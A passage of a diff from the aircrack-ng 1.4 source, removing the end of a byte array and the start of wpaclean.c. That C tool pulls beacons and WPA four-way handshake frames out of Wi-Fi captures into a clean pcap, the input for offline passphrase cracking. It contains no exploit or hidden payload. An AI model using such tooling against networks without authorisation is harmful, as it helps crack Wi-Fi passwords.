-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
-	   0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00,
-	   0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x00,
-	   0x6e, 0x00, 0x67, 0x00, 0x6c, 0x00, 0x69, 0x00, 0x73, 0x00, 0x68, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00,
-	   0x00, 0x00, 0x08, 0x00, 0x00, 0x00};

aircrack-ng-1.4.tar.gz/src/wpaclean.c Deleted

@@ -1,727 +0,0 @@
-/*
- *  Copyright (C) 2011 Andrea Bittau <bittau@cs.stanford.edu>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <assert.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <err.h>
-
-#include "aircrack-ng.h"
-#include "version.h"
-#include "aircrack-ptw-lib.h"
-#include "aircrack-osdep/osdep.h"
-#include "ieee80211.h"
-#include "crypto.h"
-#include "pcap.h"
-#include "aircrack-util/common.h"
-
-struct packet
-{
-	unsigned char p_data[2048];
-	int p_len;
-};
-
-struct client
-{
-	unsigned char c_mac[6];
-	int c_wpa;
-	int c_wpa_got;
-	struct packet c_handshake[4];
-	struct client * c_next;
-};
-
-struct network
-{
-	unsigned char n_bssid[6];
-	unsigned char n_beacon[2048];
-	int n_beaconlen;
-	char n_ssid[256];
-	struct client n_clients;
-	struct client * n_handshake;
-	struct network * n_next;
-} _networks;
-
-static char * _outfilename;
-static int _outfd;
-
-static int open_pcap(const char * fname)
-{
-	int fd;
-	struct pcap_file_header pfh;
-
-	memset(&pfh, 0, sizeof(pfh));
-	pfh.magic = TCPDUMP_MAGIC;
-	pfh.version_major = PCAP_VERSION_MAJOR;
-	pfh.version_minor = PCAP_VERSION_MINOR;
-	pfh.thiszone = 0;
-	pfh.sigfigs = 0;
-	pfh.snaplen = 65535;
-	pfh.linktype = LINKTYPE_IEEE802_11;
-
-	fd = open(fname,
-			  O_WRONLY | O_CREAT | O_TRUNC,
-			  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
-	if (fd == -1) err(1, "open(%s)", fname);
-
-	if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()");
-
-	return fd;
-}
-
-static void write_pcap(int fd, const void * p, const int len)
-{
-	struct pcap_pkthdr pkh;
-
-	memset(&pkh, 0, sizeof(pkh));
-
-	pkh.caplen = pkh.len = len;
-	pkh.tv_sec = 0;
-	pkh.tv_usec = 0;
-
-	if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()");
-
-	if (write(fd, p, len) != len) err(1, "write()");
-}
-
-static void packet_write_pcap(int fd, const struct packet * p)
-{
-	write_pcap(fd, p->p_data, p->p_len);
-}
-
-static void print_network(const struct network * n)
-{
-	printf("Net %.2x:%.2x:%.2x:%.2x:%.2x:%.2x %s\n",
-		   n->n_bssid[0],
-		   n->n_bssid[1],
-		   n->n_bssid[2],
-		   n->n_bssid[3],
-		   n->n_bssid[4],
-		   n->n_bssid[5],
-		   n->n_ssid);
-}
-
-static void save_network(const struct network * n)
-{
-	int i;
-
-	_outfd = open_pcap(_outfilename);
-	write_pcap(_outfd, n->n_beacon, n->n_beaconlen);
-
-	for (i = 0; i < 4; i++)
-	{
-		struct packet * p = &n->n_handshake->c_handshake[i];
-
-		if (p->p_len) packet_write_pcap(_outfd, p);
-	}
-}
-
-static void fix_beacon(struct network * n)
-{
-	unsigned char * p;
-	int ssidlen;
-	int origlen;
-
-	/* beacon surgery */
-	p = n->n_beacon + sizeof(struct ieee80211_frame) + 8 + 2 + 2;
-
-	ssidlen = strlen(n->n_ssid);
-	assert((n->n_beaconlen + ssidlen) <= (int) sizeof(n->n_beacon));
-
-	assert(*p == IEEE80211_ELEMID_SSID);
-	p++;
-
-	if (*p != 0 && p[1] != 0) return;
-
-	origlen = *p;
-	*p++ = ssidlen;
-
-	assert(origlen == 0 || p[0] == 0);
-
-	memmove(
-		p + ssidlen, p + origlen, n->n_beaconlen - (p + origlen - n->n_beacon));
-	memcpy(p, n->n_ssid, ssidlen);
-
-	n->n_beaconlen += ssidlen - origlen;
-}
-
-static void check_network(struct network * n)
-{
-	if (!n->n_beaconlen || !n->n_handshake || !n->n_ssid[0]) return;
-
-	fix_beacon(n);
-
-	print_network(n);
-
-	save_network(n);
-}
-
-static struct network * find_net(const unsigned char * b)
-{
-	struct network * n = _networks.n_next;
-
-	while (n)
-	{
-		if (memcmp(b, n->n_bssid, sizeof(n->n_bssid)) == 0) return n;
-
-		n = n->n_next;
-	}
-
-	return NULL;
-}
-
-static struct network * net_add(const unsigned char * bssid)
-{
-	struct network * n = malloc(sizeof(*n));
-
-	if (!n) err(1, "malloc()");
-
-	memset(n, 0, sizeof(*n));
-
-	memcpy(n->n_bssid, bssid, sizeof(n->n_bssid));
-
-	n->n_next = _networks.n_next;
-	_networks.n_next = n;
-
-	return n;
-}
-
-static struct network * find_add_net(const unsigned char * bssid)
-{
-	struct network * n;
-
-	n = find_net(bssid);
-	if (n) return n;
-
-	return net_add(bssid);
-}
-
-static struct client * find_client(const struct network * n,
-								   const unsigned char * mac)
-{
-	struct client * c = n->n_clients.c_next;
-
-	while (c)
-	{
